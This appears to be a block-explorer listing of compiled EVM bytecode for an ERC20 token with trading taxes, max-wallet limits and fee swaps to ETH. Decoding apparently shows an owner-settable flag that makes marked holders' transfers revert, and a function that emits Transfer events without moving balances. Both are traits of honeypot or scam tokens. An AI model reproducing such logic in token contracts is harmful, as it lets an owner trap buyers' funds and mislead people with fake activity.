65b606082019050919050565b6000602082019050818103600083015261494e81614912565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b60006149b1602683613617565b91506149bc82614955565b604082019050919050565b600060208201905081810360008301526149e0816149a4565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614a1d601383613617565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614aaf602783613617565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b6000614af082613726565b9150614afb83613726565b9250828203905081811115614b1357614b12613e1f565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614b4f602083613617565b9150614b5a82614b19565b602082019050919050565b60006020820190508181036000830152614b7e81614b42565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614be1602683613617565b9150614bec82614b85565b604082019050919050565b60006020820190508181036000830152614c1081614bd4565b9050919050565b600081905092915050565b50565b6000614c32600083614c17565b9150614c3d82614c22565b600082019050919050565b6000614c5382614c25565b9150819050919050565b600081519050614c6c81613730565b92915050565b600060208284031215614c8857614c876136be565b5b6000614c9684828501614c5d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614cdd816136fa565b92915050565b600060208284031215614cf957614cf86136be565b5b6000614d0784828501614cce565b91505092915050565b6000819050919050565b6000819050919050565b6000614d3f614d3a614d3584614d10565b614d1a565b613726565b9050919050565b614d4f81614d24565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d8a816136e8565b82525050565b6000614d9c8383614d81565b60208301905092915050565b6000602082019050919050565b6000614dc082614d55565b614dca8185614d60565b9350614dd583614d71565b8060005b83811015614e06578151614ded8882614d90565b9750614df883614da8565b925050600181019050614dd9565b5085935050505092915050565b600060a082019050614e2860008301886137d2565b614e356020830187614d46565b8181036040830152614e478186614db5565b9050614e566060830185613b40565b614e6360808301846137d2565b969550505050505056fea264697066735822122005aa133df8d38548de023662ad03e88134d54ee5059d6a63e4317acf293e4c8464736f6c634300081300330000000000000000000000000b0c18d2d67c642e75f2826d7541b259bf386472

Deployed Bytecode

0x6080604052600436106102605760003560e01c80638da5cb5b11610144578063c2b7bbb6116100b6578063e884f2601161007a578063e884f260146108f6578063f242ab411461090d578063f2fde38b14610938578063f3dc390214610961578063fab82a8e14610991578063fcbb7607146109bd57610267565b8063c2b7bbb614610811578063d08893581461083a578063db05e5cb14610863578063dd62ed3e1461087a578063e13b2007146108b757610267565b80639b6b5499116101085780639b6b5499146106f15780639fe640941461071a578063a457c2d714610743578063a4c82a0014610780578063a9059cbb146107ab578063bb85c6d1146107e857610267565b80638da5cb5b1461060c578063946172d61461063757806395d89b411461067457806399e5b5c81461069f5780639a7a23d6146106c857610267565b806331f81511116101dd5780635580145f116101a15780635580145f1461051057806370a0823114610539578063715018a614610576578063730c18881461058d57806373fa7ddb146105b657806377b5312c146105df57610267565b806331f815111461042857806339509351146104565780634ada218b146104935780634b896a3e146104be57806352d65858146104e757610267565b806326ededb81161022457806326ededb814610367578063293230b8146103905780632c3e486c146103a75780632e82f1a0146103d2578063313ce567146103fd57610267565b806306fdde031461026c578063095ea7b31461029757806318160ddd146102d4578063199ffc72146102ff57806323b872dd1461032a57610267565b3661026757005b600080fd5b34801561027857600080fd5b506102816109e6565b60405161028e919061369c565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b9919061375c565b610a78565b6040516102cb91906137b7565b60405180910390f35b3480156102e057600080fd5b506102e9610a96565b6040516102f691906137e1565b60405180910390f35b34801561030b57600080fd5b50610314610aa0565b60405161032191906137e1565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c91906137fc565b610aa6565b60405161035e91906137b7565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906138b4565b610b9e565b005b34801561039c57600080fd5b506103a5610c7b565b005b3480156103b357600080fd5b506103bc610ce8565b6040516103c991906137e1565b60405180910390f35b3480156103de57600080fd5b506103e7610cee565b6040516103f491906137b7565b60405180910390f35b34801561040957600080fd5b50610412610d01565b60405161041f9190613930565b60405180910390f35b34801561043457600080fd5b5061043d610d0a565b60405161044d949392919061394b565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061375c565b610d44565b60405161048a91906137b7565b60405180910390f35b34801561049f57600080fd5b506104a8610df0565b6040516104b591906137b7565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613990565b610e03565b005b3480156104f357600080fd5b5061050e600480360381019061050991906139bd565b610eb1565b005b34801561051c57600080fd5b5061053760048036038101906105329190613990565b610f68565b005b34801561054557600080fd5b50610560600480360381019061055b91906139fd565b611016565b60405161056d91906137e1565b60405180910390f35b34801561058257600080fd5b5061058b61105e565b005b34801561059957600080fd5b506105b460048036038101906105af9190613a56565b611072565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190613aa9565b61113e565b005b3480156105eb57600080fd5b506105f46111eb565b60405161060393929190613b09565b60405180910390f35b34801561061857600080fd5b50610621611211565b60405161062e9190613b4f565b60405180910390f35b34801561064357600080fd5b5061065e600480360381019061065991906139fd565b61123b565b60405161066b91906137b7565b60405180910390f35b34801561068057600080fd5b50610689611291565b604051610696919061369c565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c191906139fd565b611323565b005b3480156106d457600080fd5b506106ef60048036038101906106ea9190613b6a565b6113eb565b005b3480156106fd57600080fd5b5061071860048036038101906107139190613b6a565b611491565b005b34801561072657600080fd5b50610741600480360381019061073c91906139bd565b611542565b005b34801561074f57600080fd5b5061076a6004803603810190610765919061375c565b6115f9565b60405161077791906137b7565b60405180910390f35b34801561078c57600080fd5b506107956116e4565b6040516107a291906137e1565b60405180910390f35b3480156107b757600080fd5b506107d260048036038101906107cd919061375c565b6116ea565b6040516107df91906137b7565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a91906139fd565b611708565b005b34801561081d57600080fd5b50610838600480360381019061083391906139fd565b6117d0565b005b34801561084657600080fd5b50610861600480360381019061085c9190613baa565b61181c565b005b34801561086f57600080fd5b50610878611951565b005b34801561088657600080fd5b506108a1600480360381019061089c9190613bfd565b6119a3565b6040516108ae91906137e1565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d991906139fd565b611a2a565b6040516108ed93929190613c3d565b60405180910390f35b34801561090257600080fd5b5061090b611b23565b005b34801561091957600080fd5b50610922611b75565b60405161092f9190613b4f565b60405180910390f35b34801561094457600080fd5b5061095f600480360381019061095a91906139fd565b611b9b565b005b34801561096d57600080fd5b50610976611c1e565b60405161098896959493929190613c74565b60405180910390f35b34801561099d57600080fd5b506109a6611c4d565b6040516109b4929190613cd5565b60405180910390f35b3480156109c957600080fd5b506109e460048036038101906109df9190613b6a565b611c9e565b005b6060600380546109f590613d2d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2190613d2d565b8015610a6e5780601f10610a4357610100808354040283529160200191610a6e565b820191906000526020600020905b815481529060010190602001808311610a5157829003601f168201915b5050505050905090565b6000610a8c610a85611d4f565b8484611d57565b6001905092915050565b6000600254905090565b600b5481565b6000610ab3848484611f20565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610afe611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7590613dd0565b60405180910390fd5b610b9285610b8a611d4f565b858403611d57565b60019150509392505050565b610ba6612b8c565b60005b83839050811015610c7557838382818110610bc757610bc6613df0565b5b9050602002016020810190610bdc91906139fd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c5a91906137e1565b60405180910390a38080610c6d90613e4e565b915050610ba9565b50505050565b610c83612b8c565b6001601160036101000a81548160ff0219169083151502179055506000601160006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600c5481565b601160029054906101000a900460ff1681565b60006009905090565b600080600080601160009054906101000a900460ff169350601160019054906101000a900460ff169250600e549150600f54905090919293565b6000610de6610d51611d4f565b848460016000610d5f611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de19190613e96565b611d57565b6001905092915050565b601160039054906101000a900460ff1681565b610e0b612b8c565b6005811015610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4690613f3c565b60405180910390fd5b6103e8610e5a610a96565b82610e659190613f5c565b610e6f9190613fcd565b600e819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600e54604051610ea691906137e1565b60405180910390a150565b610eb9612b8c565b8160178190555080601881905550601854601754610ed79190613e96565b60168190555060646016541115610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90614070565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601654601754601854604051610f5c93929190614090565b60405180910390a15050565b610f70612b8c565b6002811015610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90614113565b60405180910390fd5b6103e8610fbf610a96565b82610fca9190613f5c565b610fd49190613fcd565b600f819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a600f5460405161100b91906137e1565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066612b8c565b6110706000612c0a565b565b61107a612b8c565b6102588310156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906141a5565b60405180910390fd5b6103e882111580156110d2575060008210155b611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890614237565b60405180910390fd5b82600c8190555081600b8190555080601160026101000a81548160ff021916908315150217905550505050565b611146612b8c565b60005b838390508110156111e55781601e600086868581811061116c5761116b613df0565b5b905060200201602081019061118191906139fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111dd90613e4e565b915050611149565b50505050565b6000806000600860159054906101000a900460ff1692506009549150600a549050909192565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600480546112a090613d2d565b80601f01602080910402602001604051908101604052809291908181526020018280546112cc90613d2d565b80156113195780601f106112ee57610100808354040283529160200191611319565b820191906000526020600020905b8154815290600101906020018083116112fc57829003601f168201915b5050505050905090565b61132b612b8c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113f3612b8c565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a906142c9565b60405180910390fd5b61148d8282612cd0565b5050565b611499612b8c565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161153691906137b7565b60405180910390a25050565b61154a612b8c565b81601481905550806015819055506015546014546115689190613e96565b601381905550606460135411156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061435b565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16013546014546015546040516115ed93929190614090565b60405180910390a15050565b60008060016000611608611d4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc906143ed565b60405180910390fd5b6116d96116d0611d4f565b85858403611d57565b600191505092915050565b600d5481565b60006116fe6116f7611d4f565b8484611f20565b6001905092915050565b611710612b8c565b601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117d8612b8c565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611824612b8c565b6001821015611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f9061447f565b60405180910390fd5b818110156118ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a290614511565b60405180910390fd5b82600860156101000a81548160ff021916908315150217905550612710826118d1610a96565b6118db9190613f5c565b6118e59190613fcd565b600981905550612710816118f7610a96565b6119019190613f5c565b61190b9190613fcd565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161194493929190613b09565b60405180910390a1505050565b611959612b8c565b6000601160006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611b2b612b8c565b6000601160016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ba3612b8c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c09906145a3565b60405180910390fd5b611c1b81612c0a565b50565b600080600080600080601654955060175494506018549350601354925060145491506015549050909192939495565b600080601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611ca6612b8c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611d4391906137b7565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbd90614635565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c906146c7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1391906137e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8690614759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff5906147eb565b60405180910390fd5b600081036120175761201283836000612d71565b612b87565b601160009054906101000a900460ff16156126dc57612034611211565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a25750612072611211565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120db5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612115575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212e5750600860149054906101000a900460ff16155b156126db57601160039054906101000a900460ff1661222857601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e85750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221e9061487d565b60405180910390fd5b5b601160019054906101000a900460ff16156123f257612245611211565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cc57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123265750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123f15743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a390614935565b60405180910390fd5b43601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124955750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561253c57600f548111156124df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d6906149c7565b60405180910390fd5b600e546124eb83611016565b826124f69190613e96565b1115612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614a33565b60405180910390fd5b6126da565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125df5750601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561262e57600f54811115612629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262090614ac5565b60405180910390fd5b6126d9565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126d857600e5461268b83611016565b826126969190613e96565b11156126d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ce90614a33565b60405180910390fd5b5b5b5b5b5b60006126e730611016565b90506000600954821015905080801561270c5750600860159054906101000a900460ff165b80156127255750600860149054906101000a900460ff16155b801561277b5750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127d15750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128275750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561286b576001600860146101000a81548160ff02191690831515021790555061284f612ff0565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129215750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561292b57600090505b60008115612b3e57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561298e57506000601354115b15612a28576129bb60646129ad601354886131ae90919063ffffffff16565b6131c490919063ffffffff16565b9050601354601554826129ce9190613f5c565b6129d89190613fcd565b601a60008282546129e99190613e96565b9250508190555060135460145482612a019190613f5c565b612a0b9190613fcd565b60196000828254612a1c9190613e96565b92505081905550612b1a565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a8357506000601654115b15612b1957612ab06064612aa2601654886131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060165460185482612ac39190613f5c565b612acd9190613fcd565b601a6000828254612ade9190613e96565b9250508190555060165460175482612af69190613f5c565b612b009190613fcd565b60196000828254612b119190613e96565b925050819055505b5b6000811115612b2f57612b2e873083612d71565b5b8085612b3b9190614ae5565b94505b600860149054906101000a900460ff16158015612b675750601160029054906101000a900460ff165b15612b7757612b75876131da565b505b612b82878787612d71565b505050505b505050565b612b94611d4f565b73ffffffffffffffffffffffffffffffffffffffff16612bb26132dd565b73ffffffffffffffffffffffffffffffffffffffff1614612c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bff90614b65565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd790614759565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e46906147eb565b60405180910390fd5b612e5a8383836132f1565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed790614bf7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f739190613e96565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612fd791906137e1565b60405180910390a3612fea8484846132f6565b50505050565b6000612ffb30611016565b905060008190506000808303613013575050506131ac565b600a5483111561302357600a5492505b60008390506000479050613036826132fb565b600061304b824761353890919063ffffffff16565b9050600061307686613068601a54856131ae90919063ffffffff16565b6131c490919063ffffffff16565b905060006019819055506000601a81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516130ce90614c48565b60006040518083038185875af1925050503d806000811461310b576040519150601f19603f3d011682016040523d82523d6000602084013e613110565b606091505b505080955050601160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161315c90614c48565b60006040518083038185875af1925050503d8060008114613199576040519150601f19603f3d011682016040523d82523d6000602084013e61319e565b606091505b505080955050505050505050505b565b600081836131bc9190613f5c565b905092915050565b600081836131d29190613fcd565b905092915050565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016132169190613b4f565b602060405180830381865afa158015613233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132579190614c72565b90506000613270600b548361354e90919063ffffffff16565b9050601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156132d257600081146132d157600080fd5b5b600192505050919050565b6000806132e8613564565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561331857613317614c9f565b5b6040519080825280602002602001820160405280156133465781602001602082028036833780820191505090505b509050308160008151811061335e5761335d613df0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613403573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134279190614ce3565b8160018151811061343b5761343a613df0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506134a0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d57565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613502959493929190614e13565b600060405180830381600087803b15801561351c57600080fd5b505af1158015613530573d6000803e3d6000fd5b505050505050565b600081836135469190614ae5565b905092915050565b6000818361355c9190613e96565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146135e357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613607565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561364657808201518184015260208101905061362b565b60008484015250505050565b6000601f19601f8301169050919050565b600061366e8261360c565b6136788185613617565b9350613688818560208601613628565b61369181613652565b840191505092915050565b600060208201905081810360008301526136b68184613663565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006136f3826136c8565b9050919050565b613703816136e8565b811461370e57600080fd5b50565b600081359050613720816136fa565b92915050565b6000819050919050565b61373981613726565b811461374457600080fd5b50565b60008135905061375681613730565b92915050565b60008060408385031215613773576137726136be565b5b600061378185828601613711565b925050602061379285828601613747565b9150509250929050565b60008115159050919050565b6137b18161379c565b82525050565b60006020820190506137cc60008301846137a8565b92915050565b6137db81613726565b82525050565b60006020820190506137f660008301846137d2565b92915050565b600080600060608486031215613815576138146136be565b5b600061382386828701613711565b935050602061383486828701613711565b925050604061384586828701613747565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126138745761387361384f565b5b8235905067ffffffffffffffff81111561389157613890613854565b5b6020830191508360208202830111156138ad576138ac613859565b5b9250929050565b6000806000604084860312156138cd576138cc6136be565b5b600084013567ffffffffffffffff8111156138eb576138ea6136c3565b5b6138f78682870161385e565b9350935050602061390a86828701613747565b9150509250925092565b600060ff82169050919050565b61392a81613914565b82525050565b60006020820190506139456000830184613921565b92915050565b600060808201905061396060008301876137a8565b61396d60208301866137a8565b61397a60408301856137d2565b61398760608301846137d2565b95945050505050565b6000602082840312156139a6576139a56136be565b5b60006139b484828501613747565b91505092915050565b600080604083850312156139d4576139d36136be565b5b60006139e285828601613747565b92505060206139f385828601613747565b9150509250929050565b600060208284031215613a1357613a126136be565b5b6000613a2184828501613711565b91505092915050565b613a338161379c565b8114613a3e57600080fd5b50565b600081359050613a5081613a2a565b92915050565b600080600060608486031215613a6f57613a6e6136be565b5b6000613a7d86828701613747565b9350506020613a8e86828701613747565b9250506040613a9f86828701613a41565b91